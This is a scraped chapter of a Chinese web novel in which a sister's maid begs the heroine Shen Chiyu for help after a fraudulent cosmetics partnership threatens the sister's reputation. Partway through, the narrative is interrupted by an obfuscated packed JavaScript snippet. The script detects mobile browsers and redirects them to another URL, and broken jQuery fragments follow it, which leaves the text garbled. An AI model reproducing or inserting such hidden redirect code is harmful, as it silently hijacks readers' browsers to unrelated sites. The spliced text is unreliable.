第391章 帮还是不帮

作品:《我被活活烧死后,全家悔疯了

    他放下酒杯,发出一声轻响,化着妩媚眼妆的眼眸中妖异的光芒闪动。


    “到时候,谁知道会发生什么呢?”


    相府可不是一座铁桶,上下并不一心,再被挑拨挑拨,内里就先开始乱起来。


    再者,某些忌惮谢无妄手上兵权的人,动不了谢无妄,就会选择从他身边人下手。


    前有狼,后有虎,沈池鱼处在漩涡中心的位置,注定不能安生。


    周既白越听眼神越亮,呼吸急促起来:“你是说我们可以……”


    “嘘!”


    白鹤隐竖起一根手指抵在唇边,做着噤声的手势。


    “我可什么都没说,我只是觉得,京都的冬日实在太冷清了,总该热闹些才好。”


    他拍拍周既白的肩膀,“耐心些,只要小鱼儿自己看明白,她会做正确的选择。”


    低落的情绪消散,周既白错身躲开白鹤隐的手:“请自重,别总对我动手动脚。”


    “什么?”


    白鹤隐懵了下,反应过来咬牙道:“你是不是有病?”


    “你没病?”


    周既白上下瞟了眼白鹤隐的穿着,正常男人谁会打扮成这样?


    说完,他饭也没吃,转身走人。


    白鹤隐气得在后面喊:“你去哪儿?”


    “倚红楼。”


    “你真打算在我那儿白吃白住啊?滚回来吃饭。”


    ……


    平静的日子维持了两日,这天晌午,沈池鱼靠在榻上看书,雪青在外间小声指挥着丫鬟们收拾东西。


    忽然,外头传来一阵急促的脚步声,紧接着是管家的声音。


    “王妃,相府的四小姐派人来,说是有急事求见您。”


    沈池鱼从书卷中抬起头,目露茫然,沈清容?她派人来做什么?什么急事要来找她?


    “让她进来。”沈池鱼放下书,坐直身体。


    不多时,一个穿着体面,眉眼精明的婆子被引起来。


    那婆子一进来便福身行礼:“二小姐安好,老奴是四小姐身边的嬷嬷,奉四小姐之命,特来向二小姐禀报并求援。”


    “求援?”沈池鱼问,“四妹怎么了?”


    婆子掏出手帕,擦着眼角的泪,语速的飞快:“回二小姐,是这么回事……”


    原是沈清容前些日子做了些胭脂水粉,卖给京中几家生意不错的铺子。


    那些铺子的东家瞧上了她的手艺,想和她长期合作,合伙做生意。


    起初沈清容是婉拒的,可架不住那些人三番五次言辞恳切地相求,还说利润丰厚。


    沈清容又想为府里添些进项,便半推半就的答应,甚至把自己的体己银子也投了进去,算是入股。


    听到这里,沈池鱼心中已然生出不妙的预感。


    一个未出阁的姑娘,与外男合伙做生意?


    此行为属于逾越,万一被人知道,极易惹非议。


    婆子继续道:“起初倒也顺当,四小姐做的胭脂水粉卖的挺好,那些铺子靠着四小姐的名头和牵线,确实赚了笔银子。”


    可谁承想,那几家铺子不知怎的,突然一齐关了门,东家掌柜全不见人影。


    投进去的银子打了水漂不说,更糟糕的是,好些之前订货的夫人小姐们付了定金却拿不到货。


    如今闹起来,话里话外都是相府的四小姐伙同那些人,设局骗她们的钱财。


    婆子哭道:“四小姐得知此事,又急又气,当场晕了过去,醒来后便要以死明志,被丫鬟们死死拦住。”


    可外头那些夫人小姐们不依不饶,已有两家暴脾气的,遣家丁婆子到相府侧门叫骂,话说得极难听。


    “老爷和大少爷一早上朝当值,夫人入冬以来身子一直不爽利,四小姐不敢让夫人知道,府里管事又压不住场面。”


    “四小姐实在没法子,才让老奴厚着脸皮来求二小姐。”


    婆子跪下:“求二小姐看在姐妹一场的份上,想个法子救救四小姐的名声吧。”


    “再这样闹下去,四小姐怕是…怕是活不成了!”


    婆子声泪俱下,连连磕头。


    雪青听得目瞪口呆,小圆脸上满是惊愕。


    沈池鱼微微垂眸,指尖轻轻拂过书页的边缘。


    沈清容入股生意被骗,惹上一身腥臊,名声濒临扫地,听着确实可怜。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883959|176261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    一个莽撞无知的少女涉世未深,遭人坑骗,委实凄惨。


    可,真的是这样吗?


    以沈清容的心机和手段,会如此轻易被人诓骗?


    会这么巧合,也是做的胭脂水粉?


    还是说,这本就是一场精心设计的阴谋?


    目的是将她这个未来摄政王妃、相府二小姐拖进一潭浑水中?


    无论真相如何,沈清容派来的人已经跪在面前,涕泪交加地求援。


    姐妹的名声,相府的体面,似乎都系于沈池鱼一念之间。


    帮?还是不帮?


    沈池鱼心中念头飞转,此事于情于理,她都无义务插手,可以直接拒绝。


    但事情闹到沈清容要以死明志的地步,已不仅仅是个人丑事,更关乎相府颜面。


    她如今虽住在王府,名义上仍是沈家女。


    若真对妹妹生死和家族名声置之不理,传扬出去,于她自己亦是无益。


    何况,沈清容特意派人求来,焉知不是算准了这点?


    不帮,是置身事外,却也失去主动权,会落人口舌。


    帮,便要蹚入浑水。


    不过,也是个机会,能让她看清沈清容到底想做什么。


    眼底掠过微光,沈池鱼缓缓抬眸,看向跪伏在地的婆子。


    “你先起来,四妹的事我已知晓。”


    婆子如蒙大赦,又磕了个头,才颤巍巍站起身,用帕子从抹着泪,眼巴巴望着沈池鱼。


    “此事牵涉银钱**与闺誉名声,非同小可。”


    沈池鱼不疾不徐:“四妹年轻,思虑不周受人蒙骗,固然有错。”


    “但那些合伙设局卷款潜逃的奸商,更是罪魁祸首。”


    她话锋一转。


    “当务之急是两件事。”


    “第一,稳住那些付了定金的夫人小姐,尽可能挽回损失,平息她们的怒火。”


    “第二,查明那些奸商的下落,追回款项,以正视听。”


    婆子连连点头:“第二小姐说的是。”


    “可是,那些夫人小姐正在气头上,说话十分难听,福伯去说和根本压不住。”